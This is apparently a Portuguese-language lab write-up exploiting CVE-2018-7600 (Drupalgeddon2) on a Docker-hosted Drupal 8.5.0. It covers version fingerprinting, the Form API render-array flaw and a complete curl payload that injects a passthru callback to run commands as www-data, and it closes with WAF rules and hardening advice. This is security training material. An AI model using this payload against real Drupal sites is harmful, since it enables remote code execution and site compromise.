dungsocool/cve-2018-7600Passo a passo de laboratório para exploração da RCE CVE-2018-7600 (Drupalgeddon2) no Drupal 8.5.0, cobrindo análise de superfície de ataque, fingerprinting de versão e exploração via injeção na Form API.
Comece listando os containers em execução:
docker ps
A partir dos resultados do docker ps, o container deste Lab é:
p1/lab09:latest
Este container expõe a porta:
0.0.0.0:8011->80/tcp
Isso indica que o serviço dentro do container está escutando na porta 80/tcp e está mapeado para a porta 8011 no host.
A porta 80/tcp é a porta padrão para HTTP. Portanto, este lab alvo é muito provavelmente uma aplicação web HTTP. Para confirmar o serviço web, envio uma requisição HTTP usando curl combinado com o acesso à GUI da página web.
curl -i http://192.168.3.137:8011/
Avaliação da Superfície de Ataque
A partir da resposta HTTP e da interface web, as seguintes informações foram identificadas:
Web server: Apache/2.4.25 (Debian) Backend: PHP/7.2.3 CMS: Drupal Drupal version: 8.5.0 Install path: /core/install.php Public port: 8011 -> 80/tcp
Essas informações servem como fingerprints cruciais para correlacionar com CVEs. Especificamente, Drupal 8.5.0 é a versão diretamente relacionada ao CVE-2018-7600, também conhecido como Drupalgeddon2.
De acordo com o aviso oficial da Drupal, SA-CORE-2018-002 / CVE-2018-7600 afeta as seguintes versões:
>= 8.5.0 < 8.5.1
O alvo atual está executando:
Drupal 8.5.0
portanto, estando dentro da faixa de versões afetadas.
⇒ Raciocínio:
Nesta etapa, a versão 8.5.0 do Drupal é uma forte evidência para identificar o CVE suspeito. Raciocino da seguinte forma:
docker ps mostra que o Lab expõe o serviço HTTP pela porta 8011.curl -i retorna uma resposta HTTP válida do Apache/PHP./core/install.php.Drupal >=8.5.0 <8.5.1 é afetado pelo CVE-2018-7600.Drupal 8.5.0, tornando-o elegível sob os critérios de versão para testar o CVE-2018-7600.O alvo é Drupal 8.5.0 rodando em Apache/PHP. Esta versão está dentro da faixa afetada pelo CVE-2018-7600 de acordo com o aviso oficial da Drupal. O próximo passo é verificar as condições reais de exploração para confirmar se o alvo pode ser submetido a RCE.
A partir da etapa anterior de fingerprinting, o alvo exibe claramente: Drupal 8.5.0. De acordo com o aviso oficial da Drupal, a vulnerabilidade SA-CORE-2018-002 / CVE-2018-7600 afeta as versões do núcleo do Drupal:
>= 8.5.0 < 8.5.1. O alvo atual executa exatamente Drupal 8.5.0, colocando-o dentro da faixa de versões afetadas. De acordo com o aviso da Drupal, esta é uma vulnerabilidade de Execução Remota de Código no núcleo do Drupal, que poderia permitir que um atacante explorasse múltiplos vetores de ataque e levasse ao comprometimento de todo o site.
No entanto, você pode ver que o alvo está redirecionando para /core/install.php e a GUI exibe a tela de instalação do Drupal. Isso sugere que o Drupal pode estar em um estado de instalação incompleta. Se a configuração do site não foi concluída, endpoints comuns usados para acionar o Drupalgeddon2, como /user/register, /user/password e /user/login, podem não funcionar corretamente. Portanto, é necessário verificar esses endpoints.
curl -i http://192.168.3.137:8011/user/register curl -i http://192.168.3.137:8011/user/password curl -i http://192.168.3.137:8011/user/login
Pode-se ver que os endpoints ainda são redirecionados para /core/install.php
Conclusão:
O alvo executa Drupal 8.5.0, estando dentro da faixa de versões afetadas pelo CVE-2018-7600 de acordo com o aviso oficial da Drupal. No entanto, no momento do teste, a aplicação está em estado de instalador e redireciona continuamente rotas como /user/register, /user/password e /user/login para /core/install.php.
Isso mostra que os endpoints comumente usados para verificar o Drupalgeddon2 ainda não estão funcionando como funcionariam em um site Drupal totalmente instalado. Portanto, o alvo atualmente apenas satisfaz a condição de versão, mas ainda não atende às condições de execução para demonstrar a Execução Remota de Código.
=> Raciocínio:
Precisamos provar ainda mais que o Drupal em seu estado de execução pode processar as rotas/formulários vulneráveis, que um atacante pode acessar os endpoints sem autenticação, e que payloads de verificação como id podem ser executados com sucesso.
No alvo atual, os endpoints redirecionam para o instalador, então o próximo caminho é avaliar se a tela de instalação do Drupal cria sua própria superfície de ataque, em vez de concluir imediatamente uma RCE Drupalgeddon2.
Depois de verificar que os endpoints de execução do Drupal, como /user/register, /user/password e /user/login, são todos redirecionados para /core/install.php, prossegui para analisar a tela do instalador.
Verificando o serviço de banco de dados que dá suporte ao instalador
Como o instalador do Drupal está atualmente parado na etapa de configuração do banco de dados, verifiquei se serviços comuns de banco de dados estão expostos externamente:
nmap -sV -p 3306,5432,33060 192.168.3.137
O alvo atualmente expõe o instalador do Drupal externamente, mas nenhum serviço de banco de dados acessível diretamente pela máquina do atacante foi detectado.
Conclusão: O lab expõe o instalador do Drupal 8.5.0 e possui divulgação de informações sobre a versão vulnerável. O CVE-2018-7600 é um vetor suspeito válido, mas a exploração bem-sucedida ainda não foi comprovada.
O CVE-2018-7600 explora uma vulnerabilidade na Drupal Form API - o sistema de renderização de formulários que utiliza a estrutura Render Array. Ao processar uma requisição AJAX, o Drupal usa o parâmetro element_parents para localizar elementos na árvore do formulário sem verificar (sanitizar) chaves que começam com o caractere #. Atacantes injetam propriedades como #post_render, #markup e #type via dados POST para forçar o mecanismo de renderização a executar funções PHP arbitrárias (ex.: exec, passthru, system).
Condição pré-requisito: Pelo menos um endpoint que use a Form API deve retornar uma resposta válida (não redirecionado, não bloqueado por controle de acesso) para que o atacante possa enviar uma requisição AJAX contendo o payload.
Endpoints comumente usados em PoCs públicos:
/user/register (formulário de registro - não requer login)/user/password (formulário de recuperação de senha - não requer login)/user/login (formulário de login - não requer login)No alvo atual: Todos os 3 endpoints acima são redirecionados via 302 para /core/install.php ⇒ ainda não satisfeito
A vulnerabilidade ocorre dentro do pipeline de processamento AJAX da Form API: FormBuilder → RenderArray → #post_render callback execution. Esse pipeline só opera quando o Drupal inicializa todos os subsistemas necessários (roteamento, estado do formulário, mecanismo de renderização).
No estado de instalador, o Drupal executa em um modo de bootstrap mínimo - apenas inicializando o suficiente para exibir o formulário de instalação, mas subsistemas como routing, AJAX handler, and the full render pipeline podem ainda não estar totalmente ativados.
No alvo atual: O Drupal está no estado de instalador ⇒ requer verificação adicional
# nas requisiçõesO patch oficial da Drupal adiciona a classe RequestSanitizer com o método stripDangerousValues() - que varre todos os $_GET, $_POST e $_COOKIE e remove quaisquer chaves que comecem com # nos estágios iniciais do bootstrap.
Se o alvo não estiver corrigido (executando 8.5.0), a classe RequestSanitizer não existe → a entrada contendo # não será filtrada ⇒ satisfeito
Conclusão: O alvo satisfaz a condição de versão e a ausência do patch. No entanto, as condições de endpoint disponível e bootstrap completo ainda não foram demonstradas devido ao Drupal estar no estado de instalador. O próximo passo é testar se o formulário do instalador (/core/install.php) - que também usa a Form API e o Render Array - pode ser explorado como um substituto para os endpoints padrão.
Depois de identificar que o alvo está executando Drupal 8.5.0 no estado de instalador, endpoints padrão tipicamente usados para explorar o CVE-2018-7600, como /user/register, /user/password e /user/login, são todos redirecionados para /core/install.php. Imaginei que isso poderia ser porque eu não havia concluído a configuração da interface, mas ainda assim quis investigar mais a fundo.
Após a verificação, descobriu-se que o formulário do instalador usa a mesma Form API e o mesmo Render Array engine vulneráveis. No entanto, o pipeline AJAX requer que o Form Cache funcione — que por padrão usa o banco de dados como backend. Como ainda não há banco de dados, a requisição AJAX ao formulário do instalador retorna uma FormAjaxException em FormBuilder.php:333, confirmando que o pipeline está ativado, mas falhou na etapa de carregamento do cache.
Raciocínio: Vou instalar o Drupal usando SQLite - um banco de dados que não requer um servidor dedicado, apenas acesso de escrita de arquivos ao disco do container.
Com o Drupal online, o endpoint /user/register funciona normalmente e serve como ponto de injeção. O payload utiliza o mecanismo de injeção em render array:
element_parents=account/mail/%23value — localiza o campo mail na árvore do formuláriomail[#post_render][]=passthru — injeta a função de callback passthru()mail[#markup]=id — o conteúdo passado para passthru() como argumentocurl -v "http://192.168.3.137:8011/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=passthru&mail[#type]=markup&mail[#markup]=id"
Análise da Resposta:
O resultado uid=33(www-data) indica que o payload foi executado no sistema operacional sob os privilégios do usuário www-data. Este é o usuário tipicamente usado para executar o servidor web Apache/PHP em Linux baseado em Debian. Como o comando id foi executado no lado do servidor e retornou saída, a Execução Remota de Código é confirmada com sucesso. No entanto, o privilégio atual é www-data, não root, portanto o escopo inicial de controle é restrito às permissões do servidor web.
Controle de Acesso aos Endpoints
Se o site não exigir registro público de usuários, desabilite o endpoint /user/register:
Regras de WAF — Bloqueando Payloads Característicos
Adicione regras de WAF para bloquear requisições contendo chaves como #post_render, #pre_render ou #markup no corpo do POST:
SecRule REQUEST_BODY "@contains #post_render" "deny,status:403"
SecRule REQUEST_BODY "@contains #pre_render" "deny,status:403"
SecRule ARGS_NAMES "@rx ^#" "deny,status:403"
Princípio do Menor Privilégio para o Servidor Web
O servidor web não deve ser executado com privilégios de root. Os resultados do lab confirmam que o processo é executado como uid=33(www-data) — o que é a configuração correta, mas os seguintes aprimoramentos devem ser feitos:
www-data estritamente aos diretórios necessários (sites/default/files/)/var/www/html/core/, /var/www/html/modules/)Não Exponha o Instalador à Internet
Neste lab, o instalador é público — um atacante pode explorar isso para reinstalar o Drupal usando SQLite e realizar a exploração. Em produção no mundo real, é necessário:
/core/install.php após a conclusão da instalação.htaccess ou configuração do servidor web para bloquear o acesso externo a /core/install.php<Files "install.php">
Order deny,allow
Deny from all
</Files>